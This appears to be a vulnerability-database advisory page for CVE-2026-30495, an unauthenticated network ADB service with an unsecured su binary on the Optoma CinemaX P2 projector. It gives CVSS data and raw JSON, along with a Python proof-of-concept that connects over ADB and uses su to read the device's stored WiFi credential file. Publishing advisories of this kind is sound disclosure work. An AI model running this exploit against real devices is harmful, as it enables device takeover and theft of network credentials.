Security Vulnerability Report
中文
CVE-2026-30495 CVSS 8.8 HIGH

CVE-2026-30495

Published: 2026-05-07 14:16:02
Last Modified: 2026-05-08 23:16:35

Description

The Optoma CinemaX P2 projector (firmware TVOS-04.24.010.04.01, Android 8.0.0) exposes Android Debug Bridge (ADB) on TCP port 5555 over the network without requiring authentication. The device is configured with ro.adb.secure=0, which disables RSA key verification. Additionally, a functional su binary exists at /system/xbin/su that grants root privileges without authentication. An attacker on the same network can connect to the device via ADB, obtain a shell, and escalate to root privileges, gaining complete control of the device. This allows extraction of stored WiFi credentials, installation of persistent malware, and access to all device data.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Optoma CinemaX P2 (Firmware TVOS-04.24.010.04.01)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import subprocess import sys # PoC for CVE-2026-30495: Optoma CinemaX P2 Unauthorized ADB Root # The device exposes ADB on port 5555 without auth and has an unsecured su binary. # Usage: python3 poc.py <TARGET_IP> target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" port = "5555" print(f"[*] Target: {target}:{port}") try: # Step 1: Connect to the ADB server on the device print("[*] Connecting to ADB daemon...") subprocess.run(["adb", "connect", f"{target}:{port}"], check=True) # Step 2: Verify standard shell access print("[*] Checking standard shell access...") result = subprocess.run(["adb", "shell", "whoami"], capture_output=True, text=True) print(f" Current user: {result.stdout.strip()}") # Step 3: Escalate privileges using the unsecured su binary print("[*] Escalating to root privileges...") # Reading WiFi credentials as proof of root access cmd = "cat /data/misc/wifi/wpa_supplicant.conf" print(f"[*] Running: {cmd}") subprocess.run(["adb", "shell", "su", "-c", cmd]) except FileNotFoundError: print("[!] Error: 'adb' command not found. Please ensure Android SDK platform-tools are installed.") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30495", "sourceIdentifier": "[email protected]", "published": "2026-05-07T14:16:01.983", "lastModified": "2026-05-08T23:16:34.750", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Optoma CinemaX P2 projector (firmware TVOS-04.24.010.04.01, Android 8.0.0) exposes Android Debug Bridge (ADB) on TCP port 5555 over the network without requiring authentication. The device is configured with ro.adb.secure=0, which disables RSA key verification. Additionally, a functional su binary exists at /system/xbin/su that grants root privileges without authentication. An attacker on the same network can connect to the device via ADB, obtain a shell, and escalate to root privileges, gaining complete control of the device. This allows extraction of stored WiFi credentials, installation of persistent malware, and access to all device data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://whitelabel.org/security/2026-02-01-smart-projector/", "source": "[email protected]"}]}}